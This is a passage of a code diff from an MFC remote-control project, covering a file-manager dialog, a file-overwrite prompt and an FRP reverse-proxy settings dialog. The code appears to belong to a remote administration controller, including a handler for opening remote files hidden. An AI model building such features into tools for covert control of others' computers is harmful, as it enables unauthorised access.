#define MAX_WRITE_RETRY 15 // 重试写入文件次数
|
||||
|
||||
#define WM_MY_MESSAGE (WM_USER+300)
|
||||
#define WM_LOCAL_SEARCH_DONE (WM_USER+302)
|
||||
#define WM_LOCAL_SEARCH_PROGRESS (WM_USER+303)
|
||||
|
||||
// FileManagerDlg.h : header file
|
||||
//
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CFileManagerDlg dialog
|
||||
typedef CList<CString, CString&> strList;
|
||||
|
||||
class CFileManagerDlg : public DialogBase
|
||||
{
|
||||
protected:
|
||||
// 更新状态栏信息
|
||||
afx_msg LRESULT OnMyMessage(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
char *buff = (char*)lParam;
|
||||
m_wndStatusBar.SetPaneText(0, buff);
|
||||
delete[]buff;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
// Construction
|
||||
public:
|
||||
bool m_bIsStop;
|
||||
CString m_strReceiveLocalFile;
|
||||
HANDLE m_hRecvFile; // 接收文件的句柄,保持打开直到传输完成
|
||||
CString m_strUploadRemoteFile;
|
||||
void ShowProgress();
|
||||
void SendStop();
|
||||
int m_nTransferMode;
|
||||
CString m_hCopyDestFolder;
|
||||
void SendContinue();
|
||||
void SendException();
|
||||
void EndLocalRecvFile();
|
||||
void EndRemoteDeleteFile();
|
||||
CString m_strOperatingFile; // 文件名
|
||||
__int64 m_nOperatingFileLength; // 文件总大小
|
||||
__int64 m_nCounter;// 计数器
|
||||
void WriteLocalRecvFile();
|
||||
void CreateLocalRecvFile();
|
||||
BOOL SendDownloadJob();
|
||||
BOOL SendUploadJob();
|
||||
BOOL SendDeleteJob();
|
||||
void UpdateWindowsPos();
|
||||
|
||||
strList m_Remote_Download_Job;
|
||||
strList m_Remote_Upload_Job;
|
||||
strList m_Remote_Delete_Job;
|
||||
CTrueColorToolBar m_wndToolBar_Local;
|
||||
CTrueColorToolBar m_wndToolBar_Remote;
|
||||
void ShowMessage(const char *lpFmt, ...);
|
||||
CString m_Remote_Path;
|
||||
BYTE m_bRemoteDriveList[1024];
|
||||
CString GetParentDirectory(CString strPath);
|
||||
void OnReceiveComplete();
|
||||
|
||||
int m_nNewIconBaseIndex; // 新加的ICON
|
||||
|
||||
CProgressCtrl* m_ProgressCtrl;
|
||||
HCURSOR m_hCursor;
|
||||
CString m_Local_Path;
|
||||
bool FixedUploadDirectory(LPCTSTR lpPathName);
|
||||
void FixedLocalDriveList();
|
||||
void FixedRemoteDriveList();
|
||||
void FixedLocalFileList(CString directory = "");
|
||||
void GetRemoteFileList(CString directory = "");
|
||||
void FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen);
|
||||
void FixedRemoteSearchFileList(BYTE *pbBuffer, DWORD dwBufferLen);
|
||||
bool m_bSearching;
|
||||
bool m_bSearchStopped;
|
||||
int m_nSearchResultCount;
|
||||
DWORD m_dwSearchStartTime;
|
||||
CString m_strSearchPath;
|
||||
CString m_strSearchName;
|
||||
std::map<std::string, int> m_IconCache;
|
||||
|
||||
// 本地搜索
|
||||
bool m_bLocalSearching;
|
||||
bool m_bLocalSearchStopped;
|
||||
int m_nLocalSearchResultCount;
|
||||
DWORD m_dwLocalSearchStartTime;
|
||||
CString m_strLocalSearchPath;
|
||||
CString m_strLocalSearchName;
|
||||
std::map<std::string, int> m_LocalIconCache;
|
||||
HANDLE m_hLocalSearchThread;
|
||||
static DWORD WINAPI LocalSearchThreadProc(LPVOID lpParam);
|
||||
void LocalSearchWorker();
|
||||
static bool WildcardMatch(LPCTSTR pattern, LPCTSTR str);
|
||||
|
||||
struct LocalSearchItem {
|
||||
CString fileName;
|
||||
CString dir;
|
||||
CString ext;
|
||||
BOOL bIsDir;
|
||||
DWORD sizeHigh, sizeLow;
|
||||
FILETIME ftWrite;
|
||||
};
|
||||
afx_msg LRESULT OnLocalSearchDone(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnLocalSearchProgress(WPARAM wParam, LPARAM lParam);
|
||||
|
||||
CStatusBar m_wndStatusBar;
|
||||
CFileManagerDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
|
||||
|
||||
~CFileManagerDlg()
|
||||
{
|
||||
m_bLocalSearching = false;
|
||||
m_bLocalSearchStopped = true;
|
||||
if (m_hLocalSearchThread) {
|
||||
// 处理消息避免SendMessage死锁
|
||||
while (MsgWaitForMultipleObjects(1, &m_hLocalSearchThread, FALSE, 5000, QS_ALLINPUT) == WAIT_OBJECT_0 + 1) {
|
||||
MSG msg;
|
||||
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) {
|
||||
TranslateMessage(&msg);
|
||||
DispatchMessage(&msg);
|
||||
}
|
||||
}
|
||||
CloseHandle(m_hLocalSearchThread);
|
||||
}
|
||||
if (m_hRecvFile != INVALID_HANDLE_VALUE) {
|
||||
CloseHandle(m_hRecvFile);
|
||||
}
|
||||
if(m_ProgressCtrl) delete m_ProgressCtrl;
|
||||
}
|
||||
// Dialog Data
|
||||
//{{AFX_DATA(CFileManagerDlg)
|
||||
enum { IDD = IDD_FILE };
|
||||
CComboBox m_Remote_Directory_ComboBox;
|
||||
CComboBox m_Local_Directory_ComboBox;
|
||||
CSortListCtrl m_list_remote;
|
||||
CSortListCtrl m_list_local;
|
||||
//}}AFX_DATA
|
||||
|
||||
|
||||
// Overrides
|
||||
// ClassWizard generated virtual function overrides
|
||||
//{{AFX_VIRTUAL(CFileManagerDlg)
|
||||
public:
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
|
||||
virtual void PostNcDestroy();
|
||||
//}}AFX_VIRTUAL
|
||||
|
||||
// Implementation
|
||||
protected:
|
||||
|
||||
// Generated message map functions
|
||||
//{{AFX_MSG(CFileManagerDlg)
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg HCURSOR OnQueryDragIcon();
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnDblclkListLocal(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnBegindragListLocal(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnBegindragListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg BOOL OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnMouseMove(UINT nFlags, CPoint point);
|
||||
afx_msg void OnLButtonUp(UINT nFlags, CPoint point);
|
||||
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
||||
afx_msg void OnClose();
|
||||
afx_msg void OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnLocalPrev();
|
||||
afx_msg void OnRemotePrev();
|
||||
afx_msg void OnLocalView();
|
||||
afx_msg void OnLocalList();
|
||||
afx_msg void OnLocalReport();
|
||||
afx_msg void OnLocalBigicon();
|
||||
afx_msg void OnLocalSmallicon();
|
||||
afx_msg void OnRemoteBigicon();
|
||||
afx_msg void OnRemoteList();
|
||||
afx_msg void OnRemoteReport();
|
||||
afx_msg void OnRemoteSmallicon();
|
||||
afx_msg void OnRemoteView();
|
||||
afx_msg void OnUpdateLocalStop(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateRemoteStop(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateLocalPrev(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateRemotePrev(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateLocalCopy(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateRemoteCopy(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateRemoteDelete(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateRemoteNewfolder(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateLocalDelete(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateLocalNewfolder(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateLocalSearch(CCmdUI* pCmdUI);
|
||||
afx_msg void OnUpdateRemoteSearch(CCmdUI* pCmdUI);
|
||||
afx_msg void OnRemoteCopy();
|
||||
afx_msg void OnLocalCopy();
|
||||
afx_msg void OnRemoteCompress();
|
||||
afx_msg void OnLocalCompress();
|
||||
afx_msg void OnRemoteUnCompress();
|
||||
afx_msg void OnLocalUnCompress();
|
||||
afx_msg void OnLocalDelete();
|
||||
afx_msg void OnRemoteDelete();
|
||||
afx_msg void OnRemoteStop();
|
||||
afx_msg void OnLocalStop();
|
||||
afx_msg void OnLocalNewfolder();
|
||||
afx_msg void OnRemoteNewfolder();
|
||||
afx_msg void OnTransfer();
|
||||
afx_msg void OnRename();
|
||||
afx_msg void OnEndlabeleditListLocal(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnEndlabeleditListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnDelete();
|
||||
afx_msg void OnNewfolder();
|
||||
afx_msg void OnRefresh();
|
||||
afx_msg void OnLocalOpen();
|
||||
afx_msg void OnRemoteOpenShow();
|
||||
afx_msg void OnRemoteOpenHide();
|
||||
afx_msg void OnRclickListLocal(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnLocalDesktop();
|
||||
afx_msg void OnLocalDownloads();
|
||||
afx_msg void OnLocalHome();
|
||||
afx_msg void OnLocalSearch();
|
||||
afx_msg void OnRemoteDesktop();
|
||||
afx_msg void OnRemoteDownloads();
|
||||
afx_msg void OnRemoteHome();
|
||||
afx_msg void OnRemoteSearch();
|
||||
afx_msg void OnTransferV2ToRemote(); // V2: 本地文件传输到远程
|
||||
afx_msg void OnTransferV2ToLocal(); // V2: 远程文件传输到本地
|
||||
//}}AFX_MSG
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
protected:
|
||||
CListCtrl* m_pDragList; //Which ListCtrl we are dragging FROM
|
||||
CListCtrl* m_pDropList; //Which ListCtrl we are dropping ON
|
||||
BOOL m_bDragging; //T during a drag operation
|
||||
int m_nDragIndex; //Index of selected item in the List we are dragging FROM
|
||||
int m_nDropIndex; //Index at which to drop item in the List we are dropping ON
|
||||
CWnd* m_pDropWnd; //Pointer to window we are dropping on (will be cast to CListCtrl* type)
|
||||
|
||||
void DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList);
|
||||
private:
|
||||
bool m_bIsUpload; // 是否是把本地主机传到远程上,标志方向位
|
||||
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
||||
void SendTransferMode();
|
||||
void SendFileData();
|
||||
void EndLocalUploadFile();
|
||||
bool DeleteDirectory(LPCTSTR lpszDirectory);
|
||||
void EnableControl(BOOL bEnable = TRUE);
|
||||
void CollectFilesRecursive(const std::string& dirPath, std::vector<std::string>& files);
|
||||
float m_fScalingFactor;
|
||||
public:
|
||||
afx_msg void OnFilemangerCompress();
|
||||
afx_msg void OnFilemangerUncompress();
|
||||
};
|
||||
|
||||
//{{AFX_INSERT_LOCATION}}
|
||||
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
|
||||
|
||||
#endif // !defined(AFX_FILEMANAGERDLG_H__4918F922_13A4_4389_8027_5D4993A6DB91__INCLUDED_)
|
||||
78
server/2015Remote/FileTransferModeDlg.cpp
Normal file
78
server/2015Remote/FileTransferModeDlg.cpp
Normal file
@@ -0,0 +1,78 @@
|
||||
// FileTransferModeDlg.cpp : implementation file
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "FileTransferModeDlg.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
#undef THIS_FILE
|
||||
static char THIS_FILE[] = __FILE__;
|
||||
#endif
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CFileTransferModeDlg dialog
|
||||
|
||||
|
||||
CFileTransferModeDlg::CFileTransferModeDlg(CWnd* pParent /*=NULL*/)
|
||||
: CDialogLang(CFileTransferModeDlg::IDD, pParent)
|
||||
{
|
||||
//{{AFX_DATA_INIT(CFileTransferModeDlg)
|
||||
// NOTE: the ClassWizard will add member initialization here
|
||||
//}}AFX_DATA_INIT
|
||||
}
|
||||
|
||||
|
||||
void CFileTransferModeDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
//{{AFX_DATA_MAP(CFileTransferModeDlg)
|
||||
// NOTE: the ClassWizard will add DDX and DDV calls here
|
||||
//}}AFX_DATA_MAP
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CFileTransferModeDlg, CDialog)
|
||||
//{{AFX_MSG_MAP(CFileTransferModeDlg)
|
||||
ON_CONTROL_RANGE(BN_CLICKED, IDC_OVERWRITE, IDC_CANCEL, OnEndDialog)
|
||||
//}}AFX_MSG_MAP
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CFileTransferModeDlg message handlers
|
||||
|
||||
|
||||
void CFileTransferModeDlg::OnEndDialog(UINT id)
|
||||
{
|
||||
// TODO: Add your control notification handler code here
|
||||
EndDialog(id);
|
||||
}
|
||||
|
||||
BOOL CFileTransferModeDlg::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
|
||||
// 设置对话框标题和控件文本(解决英语系统乱码问题)
|
||||
SetWindowText(_TR("确认文件替换"));
|
||||
SetDlgItemText(IDC_OVERWRITE, _TR("覆盖"));
|
||||
SetDlgItemText(IDC_OVERWRITE_ALL, _TR("全部覆盖"));
|
||||
SetDlgItemText(IDC_ADDITION, _TR("继传"));
|
||||
SetDlgItemText(IDC_ADDITION_ALL, _TR("全部继传"));
|
||||
SetDlgItemText(IDC_JUMP, _TR("跳过"));
|
||||
SetDlgItemText(IDC_JUMP_ALL, _TR("全部跳过"));
|
||||
SetDlgItemText(IDC_CANCEL, _TR("取消"));
|
||||
|
||||
// TODO: Add extra initialization here
|
||||
CString str;
|
||||
str.FormatL("此文件夹已包含一个名为“%s”的文件", m_strFileName);
|
||||
|
||||
for (int i = 0; i < str.GetLength(); i += 120) {
|
||||
str.Insert(i, "\n");
|
||||
i += 1;
|
||||
}
|
||||
|
||||
SetDlgItemText(IDC_TIPS, str);
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// EXCEPTION: OCX Property Pages should return FALSE
|
||||
}
|
||||
49
server/2015Remote/FileTransferModeDlg.h
Normal file
49
server/2015Remote/FileTransferModeDlg.h
Normal file
@@ -0,0 +1,49 @@
|
||||
#if !defined(AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_)
|
||||
#define AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
// FileTransferModeDlg.h : header file
|
||||
//
|
||||
#include "LangManager.h"
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CFileTransferModeDlg dialog
|
||||
|
||||
class CFileTransferModeDlg : public CDialogLang
|
||||
{
|
||||
// Construction
|
||||
public:
|
||||
CString m_strFileName;
|
||||
CFileTransferModeDlg(CWnd* pParent = NULL); // standard constructor
|
||||
|
||||
// Dialog Data
|
||||
//{{AFX_DATA(CFileTransferModeDlg)
|
||||
enum { IDD = IDD_TRANSFERMODE_DLG };
|
||||
// NOTE: the ClassWizard will add data members here
|
||||
//}}AFX_DATA
|
||||
|
||||
|
||||
// Overrides
|
||||
// ClassWizard generated virtual function overrides
|
||||
//{{AFX_VIRTUAL(CFileTransferModeDlg)
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
|
||||
//}}AFX_VIRTUAL
|
||||
|
||||
// Implementation
|
||||
protected:
|
||||
|
||||
// Generated message map functions
|
||||
//{{AFX_MSG(CFileTransferModeDlg)
|
||||
afx_msg void OnEndDialog(UINT id);
|
||||
virtual BOOL OnInitDialog();
|
||||
//}}AFX_MSG
|
||||
DECLARE_MESSAGE_MAP()
|
||||
};
|
||||
|
||||
//{{AFX_INSERT_LOCATION}}
|
||||
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
|
||||
|
||||
#endif // !defined(AFX_FILETRANSFERMODEDLG_H__6EE95488_A679_4F78_AF95_B4D0F747455A__INCLUDED_)
|
||||
380
server/2015Remote/FrpsForSubDlg.cpp
Normal file
380
server/2015Remote/FrpsForSubDlg.cpp
Normal file
@@ -0,0 +1,380 @@
|
||||
#include "stdafx.h"
|
||||
#include "FrpsForSubDlg.h"
|
||||
#include "context.h"
|
||||
#include "CPasswordDlg.h"
|
||||
#include "2015Remote.h"
|
||||
#include "2015RemoteDlg.h"
|
||||
#include "resource.h"
|
||||
|
||||
// 获取 FRP 端口分配文件路径(与 licenses.ini 同目录)
|
||||
std::string CFrpsForSubDlg::GetFrpPortsPath()
|
||||
{
|
||||
std::string dbPath = GetDbPath();
|
||||
size_t pos = dbPath.find_last_of("\\/");
|
||||
if (pos != std::string::npos) {
|
||||
return dbPath.substr(0, pos + 1) + "frp_ports.ini";
|
||||
}
|
||||
return "frp_ports.ini";
|
||||
}
|
||||
|
||||
CFrpsForSubDlg::CFrpsForSubDlg(CWnd* pParent)
|
||||
: CDialogLangEx(IDD_DIALOG_FRPS_FOR_SUB, pParent)
|
||||
, m_bShowToken(false)
|
||||
{
|
||||
}
|
||||
|
||||
CFrpsForSubDlg::~CFrpsForSubDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CFrpsForSubDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialogLangEx::DoDataExchange(pDX);
|
||||
|
||||
DDX_Control(pDX, IDC_CHECK_FRPS_ENABLED, m_checkEnabled);
|
||||
DDX_Control(pDX, IDC_CHECK_FRPS_LOCAL, m_checkLocalFrps);
|
||||
DDX_Control(pDX, IDC_EDIT_FRPS_SERVER, m_editServer);
|
||||
DDX_Control(pDX, IDC_EDIT_FRPS_PORT, m_editPort);
|
||||
DDX_Control(pDX, IDC_EDIT_FRPS_TOKEN, m_editToken);
|
||||
DDX_Control(pDX, IDC_BTN_SHOW_TOKEN, m_btnShowToken);
|
||||
DDX_Control(pDX, IDC_EDIT_PORT_START, m_editPortStart);
|
||||
DDX_Control(pDX, IDC_EDIT_PORT_END, m_editPortEnd);
|
||||
DDX_Control(pDX, IDC_RADIO_FRP_OFFICIAL, m_radioOfficial);
|
||||
DDX_Control(pDX, IDC_RADIO_FRP_CUSTOM, m_radioCustom);
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(CFrpsForSubDlg, CDialogLangEx)
|
||||
ON_BN_CLICKED(IDC_CHECK_FRPS_ENABLED, &CFrpsForSubDlg::OnBnClickedCheckFrpsEnabled)
|
||||
ON_BN_CLICKED(IDC_CHECK_FRPS_LOCAL, &CFrpsForSubDlg::OnBnClickedCheckFrpsLocal)
|
||||
ON_BN_CLICKED(IDC_BTN_SHOW_TOKEN, &CFrpsForSubDlg::OnBnClickedBtnShowToken)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
BOOL CFrpsForSubDlg::OnInitDialog()
|
||||
{
|
||||
CDialogLangEx::OnInitDialog();
|
||||
|
||||
// 设置翻译文本
|
||||
SetWindowText(_TR("下级 FRP 代理设置"));
|
||||
SetDlgItemText(IDC_CHECK_FRPS_ENABLED, _TR("启用为下级提供 FRP 代理"));
|
||||
SetDlgItemText(IDC_CHECK_FRPS_LOCAL, _TR("FRPS 运行在本机"));
|
||||
SetDlgItemText(IDC_GROUP_FRPS_SERVER, _TR("FRPS 服务器配置"));
|
||||
|
||||
#ifdef _WIN64
|
||||
// 64 位程序启用本地 FRPS 选项
|
||||
m_checkLocalFrps.EnableWindow(TRUE);
|
||||
#else
|
||||
// 32 位程序禁用本地 FRPS 选项(frps.dll 仅支持 64 位)
|
||||
m_checkLocalFrps.EnableWindow(FALSE);
|
||||
m_checkLocalFrps.SetCheck(BST_UNCHECKED);
|
||||
#endif
|
||||
SetDlgItemText(IDC_STATIC_FRP_AUTHMODE, _TR("认证模式:"));
|
||||
SetDlgItemText(IDC_RADIO_FRP_OFFICIAL, _TR("官方 FRP"));
|
||||
SetDlgItemText(IDC_RADIO_FRP_CUSTOM, _TR("自定义 FRP"));
|
||||
SetDlgItemText(IDC_STATIC_FRPS_SERVER, _TR("服务器地址:"));
|
||||
SetDlgItemText(IDC_STATIC_FRPS_PORT, _TR("服务器端口:"));
|
||||
SetDlgItemText(IDC_STATIC_FRPS_TOKEN, _TR("认证Token:"));
|
||||
SetDlgItemText(IDC_GROUP_PORT_RANGE, _TR("端口分配范围(可选)"));
|
||||
SetDlgItemText(IDC_STATIC_PORT_START, _TR("起始端口:"));
|
||||
SetDlgItemText(IDC_STATIC_PORT_END, _TR("结束端口:"));
|
||||
SetDlgItemText(IDC_STATIC_FRPS_TIP, _TR("提示: 配置的 FRPS 服务器将用于为下级提供反向代理服务"));
|
||||
SetDlgItemText(IDOK, _TR("确定"));
|
||||
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||||
|
||||
// 设置 Token 显示/隐藏按钮文字
|
||||
m_btnShowToken.SetWindowText(_T("*"));
|
||||
|
||||
LoadSettings();
|
||||
UpdateControlStates();
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CFrpsForSubDlg::LoadSettings()
|
||||
{
|
||||
m_config = GetFrpsConfig();
|
||||
|
||||
m_checkEnabled.SetCheck(m_config.enabled ? BST_CHECKED : BST_UNCHECKED);
|
||||
#ifdef _WIN64
|
||||
m_checkLocalFrps.SetCheck(m_config.localFrps ? BST_CHECKED : BST_UNCHECKED);
|
||||
#else
|
||||
m_checkLocalFrps.SetCheck(BST_UNCHECKED);
|
||||
#endif
|
||||
m_editServer.SetWindowText(CString(m_config.server.c_str()));
|
||||
|
||||
CString portStr;
|
||||
portStr.Format(_T("%d"), m_config.port);
|
||||
m_editPort.SetWindowText(portStr);
|
||||
|
||||
m_editToken.SetWindowText(CString(m_config.token.c_str()));
|
||||
|
||||
CString portStartStr, portEndStr;
|
||||
portStartStr.Format(_T("%d"), m_config.portStart);
|
||||
portEndStr.Format(_T("%d"), m_config.portEnd);
|
||||
m_editPortStart.SetWindowText(portStartStr);
|
||||
m_editPortEnd.SetWindowText(portEndStr);
|
||||
|
||||
// 设置认证模式单选按钮
|
||||
m_radioOfficial.SetCheck(m_config.authMode == FRP_AUTH_TOKEN ? BST_CHECKED : BST_UNCHECKED);
|
||||
m_radioCustom.SetCheck(m_config.authMode == FRP_AUTH_PRIVILEGE_KEY ? BST_CHECKED : BST_UNCHECKED);
|
||||
}
|
||||
|
||||
void CFrpsForSubDlg::SaveSettings()
|
||||
{
|
||||
CString str;
|
||||
|
||||
m_config.enabled = (m_checkEnabled.GetCheck() == BST_CHECKED);
|
||||
#ifdef _WIN64
|
||||
m_config.localFrps = (m_checkLocalFrps.GetCheck() == BST_CHECKED);
|
||||
#else
|
||||
m_config.localFrps = false;
|
||||
#endif
|
||||
|
||||
m_editServer.GetWindowText(str);
|
||||
m_config.server = CT2A(str, CP_UTF8);
|
||||
|
||||
m_editPort.GetWindowText(str);
|
||||
m_config.port = _ttoi(str);
|
||||
|
||||
m_editToken.GetWindowText(str);
|
||||
m_config.token = CT2A(str, CP_UTF8);
|
||||
|
||||
m_editPortStart.GetWindowText(str);
|
||||
m_config.portStart = _ttoi(str);
|
||||
|
||||
m_editPortEnd.GetWindowText(str);
|
||||
m_config.portEnd = _ttoi(str);
|
||||
|
||||
// 获取认证模式
|
||||
m_config.authMode = (m_radioOfficial.GetCheck() == BST_CHECKED) ? FRP_AUTH_TOKEN : FRP_AUTH_PRIVILEGE_KEY;
|
||||
|
||||
// 保存到 INI 文件
|
||||
THIS_CFG.SetInt("frps_for_sub", "enabled", m_config.enabled ? 1 : 0);
|
||||
THIS_CFG.SetInt("frps_for_sub", "local_frps", m_config.localFrps ? 1 : 0);
|
||||
THIS_CFG.SetStr("frps_for_sub", "server", m_config.server.c_str());
|
||||
THIS_CFG.SetInt("frps_for_sub", "port", m_config.port);
|
||||
THIS_CFG.SetStr("frps_for_sub", "token", m_config.token.c_str());
|
||||
THIS_CFG.SetInt("frps_for_sub", "port_start", m_config.portStart);
|
||||
THIS_CFG.SetInt("frps_for_sub", "port_end", m_config.portEnd);
|
||||
THIS_CFG.SetInt("frps_for_sub", "auth_mode", m_config.authMode);
|
||||
}
|
||||
|
||||
void CFrpsForSubDlg::UpdateControlStates()
|
||||
{
|
||||
BOOL enabled = (m_checkEnabled.GetCheck() == BST_CHECKED);
|
||||
BOOL localFrps = (m_checkLocalFrps.GetCheck() == BST_CHECKED);
|
||||
|
||||
#ifdef _WIN64
|
||||
m_checkLocalFrps.EnableWindow(enabled);
|
||||
#else
|
||||
m_checkLocalFrps.EnableWindow(FALSE);
|
||||
#endif
|
||||
|
||||
// 如果启用本地 FRPS,服务器地址自动设为 127.0.0.1 且禁用编辑
|
||||
BOOL serverEditable = enabled && !localFrps;
|
||||
m_editServer.EnableWindow(serverEditable);
|
||||
if (localFrps && enabled) {
|
||||
m_editServer.SetWindowText(_T("127.0.0.1"));
|
||||
}
|
||||
|
||||
m_editPort.EnableWindow(enabled);
|
||||
m_editToken.EnableWindow(enabled);
|
||||
m_btnShowToken.EnableWindow(enabled);
|
||||
m_editPortStart.EnableWindow(enabled);
|
||||
m_editPortEnd.EnableWindow(enabled);
|
||||
m_radioOfficial.EnableWindow(enabled);
|
||||
m_radioCustom.EnableWindow(enabled);
|
||||
|
||||
// 更新分组框状态(视觉效果)
|
||||
GetDlgItem(IDC_GROUP_FRPS_SERVER)->EnableWindow(enabled);
|
||||
GetDlgItem(IDC_GROUP_PORT_RANGE)->EnableWindow(enabled);
|
||||
GetDlgItem(IDC_STATIC_FRP_AUTHMODE)->EnableWindow(enabled);
|
||||
GetDlgItem(IDC_STATIC_FRPS_SERVER)->EnableWindow(serverEditable);
|
||||
GetDlgItem(IDC_STATIC_FRPS_PORT)->EnableWindow(enabled);
|
||||
GetDlgItem(IDC_STATIC_FRPS_TOKEN)->EnableWindow(enabled);
|
||||
GetDlgItem(IDC_STATIC_PORT_START)->EnableWindow(enabled);
|
||||
GetDlgItem(IDC_STATIC_PORT_END)->EnableWindow(enabled);
|
||||
}
|
||||
|
||||
bool CFrpsForSubDlg::ValidateInput()
|
||||
{
|
||||
if (m_checkEnabled.GetCheck() != BST_CHECKED) {
|
||||
return true; // 未启用,无需验证
|
||||
}
|
||||
|
||||
CString str;
|
||||
|
||||
// 验证服务器地址
|
||||
m_editServer.GetWindowText(str);
|
||||
if (str.IsEmpty()) {
|
||||
MessageBox(_TR("请输入服务器地址"), _TR("验证失败"), MB_OK | MB_ICONWARNING);
|
||||
m_editServer.SetFocus();
|
||||
return false;
|
||||
}
|
||||
|
||||
// 验证端口
|
||||
m_editPort.GetWindowText(str);
|
||||
int port = _ttoi(str);
|
||||
if (port <= 0 || port > 65535) {
|
||||
MessageBox(_TR("服务器端口无效(1-65535)"), _TR("验证失败"), MB_OK | MB_ICONWARNING);
|
||||
m_editPort.SetFocus();
|
||||
return false;
|
||||
}
|
||||
|
||||
// 验证 Token
|
||||
m_editToken.GetWindowText(str);
|
||||
if (str.IsEmpty()) {
|
||||
MessageBox(_TR("请输入认证 Token"), _TR("验证失败"), MB_OK | MB_ICONWARNING);
|
||||
m_editToken.SetFocus();
|
||||
return false;
|
||||
}
|
||||
|
||||
// 验证端口范围(可选,但如果填了就需要验证)
|
||||
m_editPortStart.GetWindowText(str);
|
||||
int portStart = _ttoi(str);
|
||||
m_editPortEnd.GetWindowText(str);
|
||||
int portEnd = _ttoi(str);
|
||||
|
||||
if (portStart > 0 || portEnd > 0) {
|
||||
if (portStart <= 0 || portStart > 65535) {
|
||||
MessageBox(_TR("起始端口无效(1-65535)"), _TR("验证失败"), MB_OK | MB_ICONWARNING);
|
||||
m_editPortStart.SetFocus();
|
||||
return false;
|
||||
}
|
||||
if (portEnd <= 0 || portEnd > 65535) {
|
||||
MessageBox(_TR("结束端口无效(1-65535)"), _TR("验证失败"), MB_OK | MB_ICONWARNING);
|
||||
m_editPortEnd.SetFocus();
|
||||
return false;
|
||||
}
|
||||
if (portStart >= portEnd) {
|
||||
MessageBox(_TR("起始端口必须小于结束端口"), _TR("验证失败"), MB_OK | MB_ICONWARNING);
|
||||
m_editPortStart.SetFocus();
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void CFrpsForSubDlg::OnOK()
|
||||
{
|
||||
if (!ValidateInput()) {
|
||||
return;
|
||||
}
|
||||
|
||||
SaveSettings();
|
||||
CDialogLangEx::OnOK();
|
||||
}
|
||||
|
||||
void CFrpsForSubDlg::OnBnClickedCheckFrpsEnabled()
|
||||
{
|
||||
UpdateControlStates();
|
||||
}
|
||||
|
||||
void CFrpsForSubDlg::OnBnClickedCheckFrpsLocal()
|
||||
{
|
||||
UpdateControlStates();
|
||||
}
|
||||
|
||||
void CFrpsForSubDlg::OnBnClickedBtnShowToken()
|
||||
{
|
||||
m_bShowToken = !m_bShowToken;
|
||||
|
||||
// 切换密码显示模式
|
||||
CString currentText;
|
||||
m_editToken.GetWindowText(currentText);
|
||||
|
||||
// 获取控件位置
|
||||
CRect rect;
|
||||
m_editToken.GetWindowRect(&rect);
|
||||
ScreenToClient(&rect);
|
||||
